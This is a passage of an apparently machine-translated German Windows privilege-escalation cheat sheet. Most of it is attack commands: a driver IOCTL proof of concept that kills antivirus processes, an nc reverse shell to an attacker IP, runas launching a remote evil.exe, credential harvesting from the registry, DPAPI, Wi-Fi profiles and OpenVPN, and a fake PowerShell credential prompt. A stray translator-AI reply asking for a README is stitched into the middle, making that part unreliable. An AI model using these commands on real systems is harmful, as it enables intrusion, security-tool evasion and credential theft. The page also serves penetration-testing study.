  • Beenden beliebiger Prozesse, einschließlich Protected Process/Light (PP/PPL), wodurch AV/EDR‑Kills aus dem user land via kernel möglich werden.

Minimales PoC‑Muster (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Gegenmaßnahmen fĂŒr Entwickler

  • Setzen Sie immer FILE_DEVICE_SECURE_OPEN, wenn Sie GerĂ€teobjekte erstellen, die durch eine DACL eingeschrĂ€nkt werden sollen.
  • Validieren Sie den Aufruferkontext fĂŒr privilegierte Operationen. FĂŒgen Sie PP/PPL-PrĂŒfungen hinzu, bevor Sie Prozessbeendigungen oder das ZurĂŒckgeben von Handles erlauben.
  • BeschrĂ€nken Sie IOCTLs (access masks, METHOD_*, Eingabevalidierung) und erwĂ€gen Sie vermittelte Modelle anstelle direkter Kernel-Privilegien.

ErkennungsansĂ€tze fĂŒr Verteidiger

  • Überwachen Sie user-mode Öffnungen verdĂ€chtiger GerĂ€tenamen (z. B. \ .\amsdk*) und spezifische IOCTL-Sequenzen, die auf Missbrauch hindeuten.
  • Setzen Sie Microsoft’s vulnerable driver blocklist durch (HVCI/WDAC/Smart App Control) und pflegen Sie eigene Allow-/Deny-Listen.

PATH DLL Hijacking

Wenn Sie Schreibberechtigungen in einem Ordner haben, der in PATH enthalten ist, könnten Sie eine von einem Prozess geladene DLL hijacken und escalate privileges.

Check permissions of all folders inside PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

FĂŒr weitere Informationen darĂŒber, wie diese ÜberprĂŒfung ausgenutzt werden kann:

Writable Sys Path +Dll Hijacking Privesc

Netzwerk

Freigaben

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

PrĂŒfe die hosts file auf weitere bekannte, hartkodierte Computer.

type C:\Windows\System32\drivers\etc\hosts

Netzwerkschnittstellen & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Offene Ports

PrĂŒfe auf eingeschrĂ€nkte Dienste von außen

netstat -ano #Opened ports?

Routing-Tabelle

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP-Tabelle

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall-Regeln

Sieh dir diese Seite fĂŒr Firewall-bezogene Befehle an (Regeln auflisten, Regeln erstellen, deaktivieren
)

Mehr Befehle zur Netzwerkerkennung hier

Windows-Subsystem fĂŒr Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Binary bash.exe kann außerdem in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe gefunden werden

Wenn du root-Rechte erhÀltst, kannst du auf jedem Port lauschen (das erste Mal, wenn du nc.exe benutzt, um an einem Port zu lauschen, fragt es per GUI, ob nc von der Firewall zugelassen werden soll).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Um bash einfach als root zu starten, können Sie --default-user root ausprobieren

Sie können das WSL-Dateisystem im Ordner C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ erkunden.

Windows-Anmeldeinformationen

Winlogon-Anmeldeinformationen

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credentials manager / Windows Vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Der Windows Vault speichert Benutzeranmeldeinformationen fĂŒr Server, Websites und andere Programme, bei denen Windows Benutzer automatisch anmelden kann. Auf den ersten Blick könnte es so wirken, als könnten Benutzer dort ihre Facebook-, Twitter- oder Gmail-Anmeldedaten usw. speichern, damit sie sich automatisch ĂŒber die Browser einloggen. Das ist jedoch nicht der Fall.

Der Windows Vault speichert Anmeldeinformationen, mit denen Windows Benutzer automatisch anmelden kann, was bedeutet, dass jede Windows-Anwendung, die Anmeldeinformationen benötigt, um auf eine Ressource (Server oder Website) diesen Credential Manager und Windows Vault nutzen kann und die bereitgestellten Anmeldeinformationen verwendet, anstatt dass Benutzer fortlaufend Benutzername und Passwort eingeben.

Soweit die Anwendungen nicht mit dem Credential Manager interagieren, halte ich es fĂŒr nicht möglich, dass sie die Anmeldeinformationen fĂŒr eine bestimmte Ressource verwenden. Wenn Ihre Anwendung also den Vault nutzen möchte, sollte sie sich irgendwie mit dem Credential Manager kommunizieren und die Anmeldeinformationen fĂŒr diese Ressource anfordern, und zwar aus dem Standard-Speichervault.

Verwenden Sie cmdkey, um die auf dem Rechner gespeicherten Anmeldeinformationen aufzulisten.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Dann können Sie runas mit der Option /savecred verwenden, um die gespeicherten Anmeldeinformationen zu nutzen. Das folgende Beispiel ruft ein remote binary ĂŒber einen SMB-Share auf.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Verwenden von runas mit einem bereitgestellten Satz von credentials.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Beachte, dass mimikatz, lazagne, credentialfileview, VaultPasswordView, oder aus dem Empire Powershells module.

DPAPI

Die Data Protection API (DPAPI) bietet eine Methode zur symmetrischen VerschlĂŒsselung von Daten, die vorwiegend im Windows-Betriebssystem zur symmetrischen VerschlĂŒsselung asymmetrischer privater SchlĂŒssel verwendet wird. Diese VerschlĂŒsselung nutzt ein Benutzer- oder Systemgeheimnis, das wesentlich zur Entropie beitrĂ€gt.

DPAPI ermöglicht die VerschlĂŒsselung von SchlĂŒsseln mittels eines symmetrischen SchlĂŒssels, der aus den Login-Geheimnissen des Benutzers abgeleitet wird. In Szenarien mit systemweiter VerschlĂŒsselung verwendet sie die Domain-Authentifizierungsgeheimnisse des Systems.

VerschlĂŒsselte Benutzer-RSA-SchlĂŒssel werden mittels DPAPI im Verzeichnis %APPDATA%\Microsoft\Protect{SID} gespeichert, wobei {SID} die Benutzer-Security Identifier darstellt. Der DPAPI-SchlĂŒssel, der zusammen mit dem Master-Key, der die privaten SchlĂŒssel des Benutzers in derselben Datei schĂŒtzt, abgelegt ist, besteht typischerweise aus 64 Bytes zufĂ€lliger Daten. (Es ist wichtig zu beachten, dass der Zugriff auf dieses Verzeichnis eingeschrĂ€nkt ist, wodurch eine Auflistung seines Inhalts mit dem Befehl dir in CMD verhindert wird, obwohl es ĂŒber PowerShell aufgelistet werden kann).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Du kannst das mimikatz module dpapi::masterkey mit den geeigneten Argumenten (/pvk oder /rpc) verwenden, um es zu entschlĂŒsseln.

Die credentials files protected by the master password befinden sich normalerweise in:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Du kannst mimikatz module dpapi::cred mit dem passenden /masterkey verwenden, um zu entschlĂŒsseln.
Du kannst extract many DPAPI masterkeys aus memory mit dem sekurlsa::dpapi module (wenn du root bist).

DPAPI - Extracting Passwords

PowerShell Credentials

PowerShell credentials werden hĂ€ufig fĂŒr scripting und Automatisierungsaufgaben verwendet, um verschlĂŒsselte Zugangsdaten bequem zu speichern. Die Credentials werden mit DPAPI geschĂŒtzt, was normalerweise bedeutet, dass sie nur vom selben Benutzer auf demselben Computer, auf dem sie erstellt wurden, entschlĂŒsselt werden können.

Um PS credentials aus der Datei, die sie enthĂ€lt, zu entschlĂŒsseln, kannst du Folgendes tun:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Gespeicherte RDP-Verbindungen

Sie befinden sich unter HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
und in HKCU\Software\Microsoft\Terminal Server Client\Servers\

KĂŒrzlich ausgefĂŒhrte Befehle

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Remotedesktop-Anmeldeinformationsverwaltung

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Verwende das Mimikatz dpapi::rdg-Modul mit dem passenden /masterkey, um beliebige .rdg-Dateien zu entschlĂŒsseln.
Du kannst viele DPAPI masterkeys aus dem Speicher mit dem Mimikatz sekurlsa::dpapi-Modul extrahieren.

Sticky Notes

Viele Menschen benutzen die StickyNotes-App auf Windows-Arbeitsstationen, um Passwörter zu speichern und andere Informationen, ohne zu merken, dass es sich um eine Datenbankdatei handelt. Diese Datei befindet sich unter C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite und es lohnt sich immer, danach zu suchen und sie zu untersuchen.

AppCmd.exe

Beachte, dass du Administrator sein und unter einem High Integrity level laufen musst, um Passwörter aus AppCmd.exe wiederherzustellen.
AppCmd.exe befindet sich im Verzeichnis %systemroot%\system32\inetsrv\.\
Wenn diese Datei vorhanden ist, ist es möglich, dass einige credentials konfiguriert wurden und wiederhergestellt werden können.

Dieser Code wurde aus PowerUP extrahiert:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

PrĂŒfe, ob C:\Windows\CCM\SCClient.exe existiert.
Installer werden mit SYSTEM-Privilegien ausgefĂŒhrt, viele sind anfĂ€llig fĂŒr DLL Sideloading (Informationen von https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Dateien und Registry (Credentials)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH-HostschlĂŒssel

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys in registry

SSH private keys können im RegistrierungsschlĂŒssel HKCU\Software\OpenSSH\Agent\Keys gespeichert werden, daher solltest du prĂŒfen, ob sich dort etwas Interessantes befindet:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Wenn Sie einen Eintrag in diesem Pfad finden, handelt es sich wahrscheinlich um einen gespeicherten SSH key. Er ist verschlĂŒsselt gespeichert, kann aber einfach mit https://github.com/ropnop/windows_sshagent_extract entschlĂŒsselt werden.
Weitere Informationen zu dieser Technik hier: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Wenn der ssh-agent-Dienst nicht lĂ€uft und Sie möchten, dass er beim Booten automatisch startet, fĂŒhren Sie aus:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Es sieht so aus, dass diese Technik nicht mehr gĂŒltig ist. Ich habe versucht, einige ssh keys zu erstellen, sie mit ssh-add hinzuzufĂŒgen und mich per ssh an einer Maschine anzumelden. Der Registry-SchlĂŒssel HKCU\Software\OpenSSH\Agent\Keys existiert nicht und procmon hat wĂ€hrend der asymmetric key authentication nicht die Verwendung von dpapi.dll festgestellt.

Unbeaufsichtigte Dateien

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Sie können auch nach diesen Dateien mit metasploit suchen: post/windows/gather/enum_unattend

Beispielinhalt:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM- und SYSTEM-Sicherungen

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Cloud-Zugangsdaten

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Zwischengespeichertes GPP-Passwort

FrĂŒher gab es eine Funktion, die das Bereitstellen benutzerdefinierter lokaler Administratorenkonten auf einer Gruppe von Rechnern ĂŒber Group Policy Preferences (GPP) ermöglichte. Diese Methode hatte jedoch gravierende SicherheitsmĂ€ngel. Erstens konnten die Group Policy Objects (GPOs), die als XML-Dateien in SYSVOL gespeichert sind, von jedem DomĂ€nenbenutzer gelesen werden. Zweitens konnten die Passwörter innerhalb dieser GPPs, die mit AES256 unter Verwendung eines öffentlich dokumentierten Standard-SchlĂŒssels verschlĂŒsselt wurden, von jedem authentifizierten Benutzer entschlĂŒsselt werden. Das stellte ein erhebliches Risiko dar, da es Benutzern ermöglichen konnte, erhöhte Rechte zu erlangen.

Zur Minderung dieses Risikos wurde eine Funktion entwickelt, die lokal zwischengespeicherte GPP-Dateien danach durchsucht, ob sie ein nicht-leeres “cpassword”-Feld enthalten. Wird eine solche Datei gefunden, entschlĂŒsselt die Funktion das Passwort und gibt ein benutzerdefiniertes PowerShell-Objekt zurĂŒck. Dieses Objekt enthĂ€lt Details ĂŒber die GPP und den Speicherort der Datei und unterstĂŒtzt so bei der Identifizierung und Behebung dieser SicherheitslĂŒcke.

Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) for these files:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Zum EntschlĂŒsseln des cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Verwendung von crackmapexec, um die Passwörter zu erhalten:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web-Konfiguration

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Beispiel einer web.config mit Anmeldeinformationen:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN-Zugangsdaten

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Protokolle

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Nach credentials fragen

Du kannst den Benutzer jederzeit bitten, seine credentials oder sogar die credentials eines anderen Benutzers einzugeben, wenn du denkst, dass er sie kennen könnte (beachte, dass das direkte Fragen des Clients nach den credentials wirklich riskant ist):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Mögliche Dateinamen, die credentials enthalten

Bekannte Dateien, die vor einiger Zeit passwords im clear-text oder Base64 enthielten

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Ich habe keinen Zugriff auf dein Dateisystem oder Repository, daher kann ich die Dateien nicht selbst durchsuchen. Bitte fĂŒge hier den Inhalt von src/windows-hardening/windows-local-privilege-escalation/README.md (oder alle zu durchsuchenden Dateien) ein — ich ĂŒbersetze dann den relevanten englischen Text ins Deutsche unter Beibehaltung aller Markdown-/HTML-Tags, Links und Pfade gemĂ€ĂŸ deinen Vorgaben.

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Anmeldeinformationen im RecycleBin

Sie sollten außerdem den Bin ĂŒberprĂŒfen, um Anmeldeinformationen darin zu finden

Um Passwörter wiederherzustellen, die von mehreren Programmen gespeichert wurden, können Sie Folgendes verwenden: http://www.nirsoft.net/password_recovery_tools.html

In der Registry

Weitere mögliche Registry-SchlĂŒssel mit Anmeldeinformationen

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Browser-Verlauf

Sie sollten nach DBs suchen, in denen Passwörter von Chrome oder Firefox gespeichert sind.
PrĂŒfen Sie auch den Verlauf, Lesezeichen und Favoriten der Browser, da dort möglicherweise einige Passwörter gespeichert sind.

Tools zum Extrahieren von Passwörtern aus Browsern:

COM DLL Overwriting

Component Object Model (COM) ist eine im Windows-Betriebssystem integrierte Technologie, die die Interkommunikation zwischen Softwarekomponenten unterschiedlicher Sprachen ermöglicht. Jede COM-Komponente wird identifiziert via a class ID (CLSID) und jede Komponente stellt FunktionalitĂ€t ĂŒber ein oder mehrere Interfaces bereit, die via interface IDs (IIDs) identifiziert werden.

COM-Klassen und -Interfaces sind in der Registry unter HKEY\CLASSES\ROOT\CLSID bzw. HKEY\CLASSES\ROOT\Interface definiert. Diese Registry entsteht durch das ZusammenfĂŒhren von HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Innerhalb der CLSIDs dieser Registry findet man den UnterschlĂŒssel InProcServer32, der einen default value enthĂ€lt, der auf eine DLL zeigt, sowie einen Wert namens ThreadingModel, der Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) oder Neutral (Thread Neutral) sein kann.

GrundsĂ€tzlich: Wenn Sie eine der DLLs ĂŒberschreiben können, die ausgefĂŒhrt werden sollen, könnten Sie die Privilegien eskalieren, falls diese DLL von einem anderen Benutzer ausgefĂŒhrt wird.

Um zu erfahren, wie Angreifer COM Hijacking als Persistenzmechanismus nutzen, siehe:

COM Hijacking

Generische Passwortsuche in Dateien und Registry

Suche nach Dateiinhalten

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Nach einer Datei mit einem bestimmten Dateinamen suchen

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Durchsuche die Registry nach SchlĂŒsselnamen und Passwörtern

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Tools, die nach passwords suchen

MSF-Credentials Plugin ist ein msf Plugin. Ich habe dieses Plugin erstellt, um automatisch jedes metasploit POST module auszufĂŒhren, das nach credentials innerhalb des Opfers sucht.
Winpeas durchsucht automatisch alle Dateien, die die auf dieser Seite erwÀhnten passwords enthalten.
Lazagne ist ein weiteres großartiges Tool, um passwords von einem System zu extrahieren.

Das Tool SessionGopher sucht nach sessions, usernames und passwords mehrerer Tools, die diese Daten im Klartext speichern (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Stell dir vor, dass ein Prozess, der als SYSTEM lÀuft, einen neuen Prozess öffnet (OpenProcess()) mit vollem Zugriff. Derselbe Prozess erstellt auch einen neuen Prozess (CreateProcess()) mit niedrigen Rechten, der jedoch alle offenen Handles des Hauptprozesses erbt.
Wenn du vollen Zugriff auf den niedrig privilegierten Prozess hast, kannst du das offene Handle zum privilegierten Prozess, das mit OpenProcess() erstellt wurde, ĂŒbernehmen und Shellcode injizieren.
Lies dieses Beispiel fĂŒr mehr Informationen darĂŒber, wie man diese Schwachstelle erkennt und ausnutzt.
Lies diesen anderen Beitrag fĂŒr eine ausfĂŒhrlichere ErklĂ€rung, wie man mehr offene Handler von Prozessen und Threads testet und missbraucht, die mit unterschiedlichen Berechtigungsebenen vererbt werden (nicht nur voller Zugriff) .

Named Pipe Client Impersonation

Shared memory segments, referred to as pipes, enable process communication and data transfer.

Windows stellt eine Funktion namens Named Pipes bereit, die es unabhĂ€ngigen Prozessen erlaubt, Daten auszutauschen, sogar ĂŒber verschiedene Netzwerke. Das Ă€hnelt einer Client/Server-Architektur, mit Rollen definiert als named pipe server und named pipe client.

